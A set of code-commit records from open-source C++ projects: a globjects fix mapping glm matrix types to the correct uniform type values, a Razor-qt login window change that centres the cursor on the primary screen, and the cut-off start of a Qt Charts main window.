UniformTypeHelper<glm::ivec3>\n{\n static const UniformType value = UniformType::INT_VEC3;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::ivec4>\n{\n static const UniformType value = UniformType::INT_VEC4;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::uvec2>\n{\n static const UniformType value = UniformType::UNSIGNED_INT_VEC2;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::uvec3>\n{\n static const UniformType value = UniformType::UNSIGNED_INT_VEC3;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::uvec4>\n{\n static const UniformType value = UniformType::UNSIGNED_INT_VEC4;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::mat2>\n{\n static const UniformType value = UniformType::UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::mat3>\n{\n static const UniformType value = UniformType::UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::mat4>\n{\n static const UniformType value = UniformType::UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::mat2x3>\n{\n static const UniformType value = UniformType::UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::mat3x2>\n{\n static const UniformType value = UniformType::UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::mat2x4>\n{\n static const UniformType value = UniformType::UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::mat4x2>\n{\n static const UniformType value = UniformType::UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::mat3x4>\n{\n static const UniformType value = UniformType::UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::mat4x3>\n{\n static const UniformType value = UniformType::UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<gl::GLuint64>\n{\n static const UniformType value = UniformType::UNSIGNED_INT64;\n};\n\ntemplate <>\nstruct UniformTypeHelper<TextureHandle>\n{\n static const UniformType value = UniformType::TEXTURE_HANDLE;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<float>>\n{\n static const UniformType value = UniformType::VECTOR_FLOAT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<int>>\n{\n static const UniformType value = UniformType::VECTOR_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<unsigned int>>\n{\n static const UniformType value = UniformType::VECTOR_UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<bool>>\n{\n static const UniformType value = UniformType::VECTOR_BOOL;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::vec2>>\n{\n static const UniformType value = UniformType::VECTOR_FLOAT_VEC2;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::vec3>>\n{\n static const UniformType value = UniformType::VECTOR_FLOAT_VEC3;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::vec4>>\n{\n static const UniformType value = UniformType::VECTOR_FLOAT_VEC4;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::ivec2>>\n{\n static const UniformType value = UniformType::VECTOR_INT_VEC2;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::ivec3>>\n{\n static const UniformType value = UniformType::VECTOR_INT_VEC3;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::ivec4>>\n{\n static const UniformType value = UniformType::VECTOR_INT_VEC4;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::uvec2>>\n{\n static const UniformType value = UniformType::VECTOR_UNSIGNED_INT_VEC2;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::uvec3>>\n{\n static const UniformType value = UniformType::VECTOR_UNSIGNED_INT_VEC3;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::uvec4>>\n{\n static const UniformType value = UniformType::VECTOR_UNSIGNED_INT_VEC4;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::mat2>>\n{\n static const UniformType value = UniformType::VECTOR_UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::mat3>>\n{\n static const UniformType value = UniformType::VECTOR_UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::mat4>>\n{\n static const UniformType value = UniformType::VECTOR_UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::mat2x3>>\n{\n static const UniformType value = UniformType::VECTOR_UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::mat3x2>>\n{\n static const UniformType value = UniformType::VECTOR_UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::mat2x4>>\n{\n static const UniformType value = UniformType::VECTOR_UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::mat4x2>>\n{\n static const UniformType value = UniformType::VECTOR_UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::mat3x4>>\n{\n static const UniformType value = UniformType::VECTOR_UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::mat4x3>>\n{\n static const UniformType value = UniformType::VECTOR_UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<gl::GLuint64>>\n{\n static const UniformType value = UniformType::VECTOR_UNSIGNED_INT64;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<TextureHandle>>\n{\n static const UniformType value = UniformType::VECTOR_TEXTURE_HANDLE;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<float, Count>>\n{\n static const UniformType value = UniformType::ARRAY_FLOAT;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<int, Count>>\n{\n static const UniformType value = UniformType::ARRAY_INT;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<unsigned int, Count>>\n{\n static const UniformType value = UniformType::ARRAY_UNSIGNED_INT;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<bool, Count>>\n{\n static const UniformType value = UniformType::ARRAY_BOOL;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::vec2, Count>>\n{\n static const UniformType value = UniformType::ARRAY_FLOAT_VEC2;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::vec3, Count>>\n{\n static const UniformType value = UniformType::ARRAY_FLOAT_VEC3;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::vec4, Count>>\n{\n static const UniformType value = UniformType::ARRAY_FLOAT_VEC4;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::ivec2, Count>>\n{\n static const UniformType value = UniformType::ARRAY_INT_VEC2;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::ivec3, Count>>\n{\n static const UniformType value = UniformType::ARRAY_INT_VEC3;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::ivec4, Count>>\n{\n static const UniformType value = UniformType::ARRAY_INT_VEC4;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::uvec2, Count>>\n{\n static const UniformType value = UniformType::ARRAY_UNSIGNED_INT_VEC2;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::uvec3, Count>>\n{\n static const UniformType value = UniformType::ARRAY_UNSIGNED_INT_VEC3;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::uvec4, Count>>\n{\n static const UniformType value = UniformType::ARRAY_UNSIGNED_INT_VEC4;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::mat2, Count>>\n{\n static const UniformType value = UniformType::ARRAY_UNSIGNED_INT;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::mat3, Count>>\n{\n static const UniformType value = UniformType::ARRAY_UNSIGNED_INT;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::mat4, Count>>\n{\n static const UniformType value = UniformType::ARRAY_UNSIGNED_INT;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::mat2x3, Count>>\n{\n static const UniformType value = UniformType::ARRAY_UNSIGNED_INT;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::mat3x2, Count>>\n{\n static const UniformType value = UniformType::ARRAY_UNSIGNED_INT;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::mat2x4, Count>>\n{\n static const UniformType value = UniformType::ARRAY_UNSIGNED_INT;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::mat4x2, Count>>\n{\n static const UniformType value = UniformType::ARRAY_UNSIGNED_INT;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::mat3x4, Count>>\n{\n static const UniformType value = UniformType::ARRAY_UNSIGNED_INT;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::mat4x3, Count>>\n{\n static const UniformType value = UniformType::ARRAY_UNSIGNED_INT;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<gl::GLuint64, Count>>\n{\n static const UniformType value = UniformType::ARRAY_UNSIGNED_INT64;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<TextureHandle, Count>>\n{\n static const UniformType value = UniformType::ARRAY_TEXTURE_HANDLE;\n};\n\n\ntemplate <typename T, std::size_t Count>\nvoid AbstractUniform::setValue(const gl::GLint location, const std::array<T, Count> & value) const\n{\n setValue(location, std::vector<T>(value.data(), value.data()+Count));\n}\n\n\n} \/\/ namespace globjects\n<commit_msg>Fix uniform helper types (closes #391)<commit_after>\n#pragma once\n\n\nnamespace globjects \n{\n\n\nenum class UniformType : unsigned char\n{\n NONE,\n\n FLOAT,\n INT,\n UNSIGNED_INT,\n BOOL,\n FLOAT_VEC2,\n FLOAT_VEC3,\n FLOAT_VEC4,\n INT_VEC2,\n INT_VEC3,\n INT_VEC4,\n UNSIGNED_INT_VEC2,\n UNSIGNED_INT_VEC3,\n UNSIGNED_INT_VEC4,\n FLOAT_MAT2,\n FLOAT_MAT3,\n FLOAT_MAT4,\n FLOAT_MAT2x3,\n FLOAT_MAT3x2,\n FLOAT_MAT2x4,\n FLOAT_MAT4x2,\n FLOAT_MAT3x4,\n FLOAT_MAT4x3,\n UNSIGNED_INT64,\n TEXTURE_HANDLE,\n\n VECTOR_FLOAT,\n VECTOR_INT,\n VECTOR_UNSIGNED_INT,\n VECTOR_BOOL,\n VECTOR_FLOAT_VEC2,\n VECTOR_FLOAT_VEC3,\n VECTOR_FLOAT_VEC4,\n VECTOR_INT_VEC2,\n VECTOR_INT_VEC3,\n VECTOR_INT_VEC4,\n VECTOR_UNSIGNED_INT_VEC2,\n VECTOR_UNSIGNED_INT_VEC3,\n VECTOR_UNSIGNED_INT_VEC4,\n VECTOR_FLOAT_MAT2,\n VECTOR_FLOAT_MAT3,\n VECTOR_FLOAT_MAT4,\n VECTOR_FLOAT_MAT2x3,\n VECTOR_FLOAT_MAT3x2,\n VECTOR_FLOAT_MAT2x4,\n VECTOR_FLOAT_MAT4x2,\n VECTOR_FLOAT_MAT3x4,\n VECTOR_FLOAT_MAT4x3,\n VECTOR_UNSIGNED_INT64,\n VECTOR_TEXTURE_HANDLE,\n\n ARRAY_FLOAT,\n ARRAY_INT,\n ARRAY_UNSIGNED_INT,\n ARRAY_BOOL,\n ARRAY_FLOAT_VEC2,\n ARRAY_FLOAT_VEC3,\n ARRAY_FLOAT_VEC4,\n ARRAY_INT_VEC2,\n ARRAY_INT_VEC3,\n ARRAY_INT_VEC4,\n ARRAY_UNSIGNED_INT_VEC2,\n ARRAY_UNSIGNED_INT_VEC3,\n ARRAY_UNSIGNED_INT_VEC4,\n ARRAY_FLOAT_MAT2,\n ARRAY_FLOAT_MAT3,\n ARRAY_FLOAT_MAT4,\n ARRAY_FLOAT_MAT2x3,\n ARRAY_FLOAT_MAT3x2,\n ARRAY_FLOAT_MAT2x4,\n ARRAY_FLOAT_MAT4x2,\n ARRAY_FLOAT_MAT3x4,\n ARRAY_FLOAT_MAT4x3,\n ARRAY_UNSIGNED_INT64,\n ARRAY_TEXTURE_HANDLE\n};\n\ntemplate <typename ValueType>\nstruct UniformTypeHelper\n{\n static const UniformType value = UniformType::NONE;\n};\n\ntemplate <>\nstruct UniformTypeHelper<float>\n{\n static const UniformType value = UniformType::FLOAT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<int>\n{\n static const UniformType value = UniformType::INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<unsigned int>\n{\n static const UniformType value = UniformType::UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<bool>\n{\n static const UniformType value = UniformType::BOOL;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::vec2>\n{\n static const UniformType value = UniformType::FLOAT_VEC2;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::vec3>\n{\n static const UniformType value = UniformType::FLOAT_VEC3;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::vec4>\n{\n static const UniformType value = UniformType::FLOAT_VEC4;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::ivec2>\n{\n static const UniformType value = UniformType::INT_VEC2;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::ivec3>\n{\n static const UniformType value = UniformType::INT_VEC3;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::ivec4>\n{\n static const UniformType value = UniformType::INT_VEC4;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::uvec2>\n{\n static const UniformType value = UniformType::UNSIGNED_INT_VEC2;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::uvec3>\n{\n static const UniformType value = UniformType::UNSIGNED_INT_VEC3;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::uvec4>\n{\n static const UniformType value = UniformType::UNSIGNED_INT_VEC4;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::mat2>\n{\n static const UniformType value = UniformType::FLOAT_MAT2;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::mat3>\n{\n static const UniformType value = UniformType::FLOAT_MAT3;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::mat4>\n{\n static const UniformType value = UniformType::FLOAT_MAT4;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::mat2x3>\n{\n static const UniformType value = UniformType::FLOAT_MAT2x3;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::mat3x2>\n{\n static const UniformType value = UniformType::FLOAT_MAT3x2;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::mat2x4>\n{\n static const UniformType value = UniformType::FLOAT_MAT2x4;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::mat4x2>\n{\n static const UniformType value = UniformType::FLOAT_MAT4x2;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::mat3x4>\n{\n static const UniformType value = UniformType::FLOAT_MAT3x4;\n};\n\ntemplate <>\nstruct UniformTypeHelper<glm::mat4x3>\n{\n static const UniformType value = UniformType::FLOAT_MAT4x3;\n};\n\ntemplate <>\nstruct UniformTypeHelper<gl::GLuint64>\n{\n static const UniformType value = UniformType::UNSIGNED_INT64;\n};\n\ntemplate <>\nstruct UniformTypeHelper<TextureHandle>\n{\n static const UniformType value = UniformType::TEXTURE_HANDLE;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<float>>\n{\n static const UniformType value = UniformType::VECTOR_FLOAT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<int>>\n{\n static const UniformType value = UniformType::VECTOR_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<unsigned int>>\n{\n static const UniformType value = UniformType::VECTOR_UNSIGNED_INT;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<bool>>\n{\n static const UniformType value = UniformType::VECTOR_BOOL;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::vec2>>\n{\n static const UniformType value = UniformType::VECTOR_FLOAT_VEC2;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::vec3>>\n{\n static const UniformType value = UniformType::VECTOR_FLOAT_VEC3;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::vec4>>\n{\n static const UniformType value = UniformType::VECTOR_FLOAT_VEC4;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::ivec2>>\n{\n static const UniformType value = UniformType::VECTOR_INT_VEC2;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::ivec3>>\n{\n static const UniformType value = UniformType::VECTOR_INT_VEC3;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::ivec4>>\n{\n static const UniformType value = UniformType::VECTOR_INT_VEC4;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::uvec2>>\n{\n static const UniformType value = UniformType::VECTOR_UNSIGNED_INT_VEC2;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::uvec3>>\n{\n static const UniformType value = UniformType::VECTOR_UNSIGNED_INT_VEC3;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::uvec4>>\n{\n static const UniformType value = UniformType::VECTOR_UNSIGNED_INT_VEC4;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::mat2>>\n{\n static const UniformType value = UniformType::VECTOR_FLOAT_MAT2;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::mat3>>\n{\n static const UniformType value = UniformType::VECTOR_FLOAT_MAT3;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::mat4>>\n{\n static const UniformType value = UniformType::VECTOR_FLOAT_MAT4;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::mat2x3>>\n{\n static const UniformType value = UniformType::VECTOR_FLOAT_MAT2x3;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::mat3x2>>\n{\n static const UniformType value = UniformType::VECTOR_FLOAT_MAT3x2;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::mat2x4>>\n{\n static const UniformType value = UniformType::VECTOR_FLOAT_MAT2x4;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::mat4x2>>\n{\n static const UniformType value = UniformType::VECTOR_FLOAT_MAT4x2;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::mat3x4>>\n{\n static const UniformType value = UniformType::VECTOR_FLOAT_MAT3x4;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<glm::mat4x3>>\n{\n static const UniformType value = UniformType::VECTOR_FLOAT_MAT4x3;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<gl::GLuint64>>\n{\n static const UniformType value = UniformType::VECTOR_UNSIGNED_INT64;\n};\n\ntemplate <>\nstruct UniformTypeHelper<std::vector<TextureHandle>>\n{\n static const UniformType value = UniformType::VECTOR_TEXTURE_HANDLE;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<float, Count>>\n{\n static const UniformType value = UniformType::ARRAY_FLOAT;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<int, Count>>\n{\n static const UniformType value = UniformType::ARRAY_INT;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<unsigned int, Count>>\n{\n static const UniformType value = UniformType::ARRAY_UNSIGNED_INT;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<bool, Count>>\n{\n static const UniformType value = UniformType::ARRAY_BOOL;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::vec2, Count>>\n{\n static const UniformType value = UniformType::ARRAY_FLOAT_VEC2;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::vec3, Count>>\n{\n static const UniformType value = UniformType::ARRAY_FLOAT_VEC3;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::vec4, Count>>\n{\n static const UniformType value = UniformType::ARRAY_FLOAT_VEC4;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::ivec2, Count>>\n{\n static const UniformType value = UniformType::ARRAY_INT_VEC2;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::ivec3, Count>>\n{\n static const UniformType value = UniformType::ARRAY_INT_VEC3;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::ivec4, Count>>\n{\n static const UniformType value = UniformType::ARRAY_INT_VEC4;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::uvec2, Count>>\n{\n static const UniformType value = UniformType::ARRAY_UNSIGNED_INT_VEC2;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::uvec3, Count>>\n{\n static const UniformType value = UniformType::ARRAY_UNSIGNED_INT_VEC3;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::uvec4, Count>>\n{\n static const UniformType value = UniformType::ARRAY_UNSIGNED_INT_VEC4;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::mat2, Count>>\n{\n static const UniformType value = UniformType::ARRAY_FLOAT_MAT2;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::mat3, Count>>\n{\n static const UniformType value = UniformType::ARRAY_FLOAT_MAT3;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::mat4, Count>>\n{\n static const UniformType value = UniformType::ARRAY_FLOAT_MAT4;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::mat2x3, Count>>\n{\n static const UniformType value = UniformType::ARRAY_FLOAT_MAT2x3;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::mat3x2, Count>>\n{\n static const UniformType value = UniformType::ARRAY_FLOAT_MAT3x2;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::mat2x4, Count>>\n{\n static const UniformType value = UniformType::ARRAY_FLOAT_MAT2x4;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::mat4x2, Count>>\n{\n static const UniformType value = UniformType::ARRAY_FLOAT_MAT4x2;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::mat3x4, Count>>\n{\n static const UniformType value = UniformType::ARRAY_FLOAT_MAT3x4;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<glm::mat4x3, Count>>\n{\n static const UniformType value = UniformType::ARRAY_FLOAT_MAT4x3;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<gl::GLuint64, Count>>\n{\n static const UniformType value = UniformType::ARRAY_UNSIGNED_INT64;\n};\n\ntemplate <size_t Count>\nstruct UniformTypeHelper<std::array<TextureHandle, Count>>\n{\n static const UniformType value = UniformType::ARRAY_TEXTURE_HANDLE;\n};\n\n\ntemplate <typename T, std::size_t Count>\nvoid AbstractUniform::setValue(const gl::GLint location, const std::array<T, Count> & value) const\n{\n setValue(location, std::vector<T>(value.data(), value.data()+Count));\n}\n\n\n} \/\/ namespace globjects\n<|endoftext|>"} {"text":"<commit_before>\/* BEGIN_COMMON_COPYRIGHT_HEADER\n * (c)LGPL2+\n *\n * Razor - a lightweight, Qt based, desktop toolset\n * http:\/\/razor-qt.org\n *\n * Copyright: 2012 Christian Surlykke\n *\n * This program or library is free software; you can redistribute it\n * and\/or modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n\n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, write to the\n * Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301 USA\n *\n * END_COMMON_COPYRIGHT_HEADER *\/\n\n#include <QtCore\/QRect>\n#include <QtGui\/QApplication>\n#include <QtGui\/QDesktopWidget>\n#include <QtGui\/QPalette>\n#include \"mainwindow.h\"\n#include \"loginform.h\"\n\nMainWindow::MainWindow(int screen, QWidget *parent)\n : QWidget(parent)\n{\n setObjectName(QString(\"MainWindow_%1\").arg(screen));\n\n QRect screenRect = QApplication::desktop()->screenGeometry(screen);\n setGeometry(screenRect);\n QImage image(QString(SHARE_DIR) + \"\/themes\/light\/simple_blue_widescreen.png\");\n\n QPalette palette;\n palette.setBrush(this->backgroundRole(), QBrush(image.scaled(screenRect.width(), screenRect.right())));\n this->setPalette(palette);\n\n \/\/ display login dialog only in the main screen\n m_main = screen == QApplication::desktop()->primaryScreen();\n if (m_main)\n {\n LoginForm *loginForm = new LoginForm(this);\n int offsetX = 2*screenRect.width()\/5 - loginForm->width()\/2;\n if (offsetX < 40)\n {\n offsetX = 40;\n }\n int offsetY = screenRect.height()\/2 - loginForm->height()\/2;\n loginForm->move(offsetX, offsetY);\n loginForm->show();\n }\n}\n\nMainWindow::~MainWindow()\n{\n}\n<commit_msg>lightdm: move cursor to the center of screen for miltiple screens seat - it allows to handle key-focus<commit_after>\/* BEGIN_COMMON_COPYRIGHT_HEADER\n * (c)LGPL2+\n *\n * Razor - a lightweight, Qt based, desktop toolset\n * http:\/\/razor-qt.org\n *\n * Copyright: 2012 Christian Surlykke\n *\n * This program or library is free software; you can redistribute it\n * and\/or modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n\n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, write to the\n * Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301 USA\n *\n * END_COMMON_COPYRIGHT_HEADER *\/\n\n#include <QtCore\/QRect>\n#include <QtGui\/QApplication>\n#include <QtGui\/QDesktopWidget>\n#include <QtGui\/QPalette>\n#include <QtGui\/QX11Info>\n\n#include \"mainwindow.h\"\n#include \"loginform.h\"\n\n\nMainWindow::MainWindow(int screen, QWidget *parent)\n : QWidget(parent)\n{\n setObjectName(QString(\"MainWindow_%1\").arg(screen));\n\n QRect screenRect = QApplication::desktop()->screenGeometry(screen);\n setGeometry(screenRect);\n QImage image(QString(SHARE_DIR) + \"\/themes\/light\/simple_blue_widescreen.png\");\n\n QPalette palette;\n palette.setBrush(this->backgroundRole(), QBrush(image.scaled(screenRect.width(), screenRect.right())));\n this->setPalette(palette);\n\n \/\/ display login dialog only in the main screen\n m_main = screen == QApplication::desktop()->primaryScreen();\n if (m_main)\n {\n LoginForm *loginForm = new LoginForm(this);\n int offsetX = 2*screenRect.width()\/5 - loginForm->width()\/2;\n if (offsetX < 40)\n {\n offsetX = 40;\n }\n int offsetY = screenRect.height()\/2 - loginForm->height()\/2;\n loginForm->move(offsetX, offsetY);\n loginForm->show();\n\n \/\/ This hack ensures that the primary screen will have focus\n \/\/ if there are more screens (move the mouse cursor in the center\n \/\/ of primary screen - not in the center of all X area). It\n \/\/ won't affect single-screen environments.\n int centerX = screenRect.width()\/2 + screenRect.x();\n int centerY = screenRect.height()\/2 + screenRect.y();\n QCursor::setPos(centerX, centerY);\n }\n}\n\nMainWindow::~MainWindow()\n{\n}\n<|endoftext|>"} {"text":"<commit_before>\r\n#include <QLineSeries>\r\n#include <QMenu>\r\n#include <QAction>\r\n#include <QFileDialog>\r\n#include <QFile>\r\n#include <QDateTime>\r\n#include <QMessageBox>\r\n#include <QDateTimeAxis>\r\n#include <QValueAxis>\r\n#include <QPrinter>\r\n#include <QPrintDialog>\r\n#include <QVBoxLayout>\r\n#include <QCheckBox>\r\n#include <QPushButton>\r\n#include <QToolButton>\r\n#include <QDebug>\r\n\r\n#include \"mainwindow.h\"\r\n#include \"ui_mainwindow.h\"\r\n\r\n\r\n\r\nMainWindow::MainWindow(QWidget *parent) :\r\n QMainWindow(parent),\r\n ui(new Ui::MainWindow)\r\n{\r\n ui->setupUi(this);\r\n ui->frame->hide();\r\n mChart = new QtCharts::QChart();\r\n\r\n mXaxis = new QtCharts::QDateTimeAxis();\r\n mXaxis->setTitleFont(QFont(\"\", 12, QFont::Bold));\r\n mXaxis->setLabelsAngle(20);\r\n mChart->addAxis(mXaxis, Qt::AlignBottom);\r\n\r\n mYaxis = new QtCharts::QValueAxis();\r\n mYaxis->setTitleFont(QFont(\"\", 12, QFont::Bold));\r\n mYaxis->setLabelFormat(\"%i\");\r\n mYaxis->setTitleText(\"Values\");\r\n mChart->addAxis(mYaxis, Qt::AlignLeft);\r\n\r\n\r\n ui->chartView->setChart(mChart);\r\n ui->chartView->setRenderHint(QPainter::Antialiasing);\r\n\r\n setupActions();\r\n setupMenus();\r\n\r\n connect(ui->minDate, &QDateTimeEdit::dateTimeChanged, [this](){\r\n QDateTime minDate = ui->minDate->dateTime();\r\n ui->maxDate->setMinimumDateTime(minDate);\r\n });\r\n connect(ui->maxDate, &QDateTimeEdit::dateTimeChanged, [this](){\r\n QDateTime maxDate = ui->maxDate->dateTime();\r\n ui->minDate->setMaximumDateTime(maxDate);\r\n 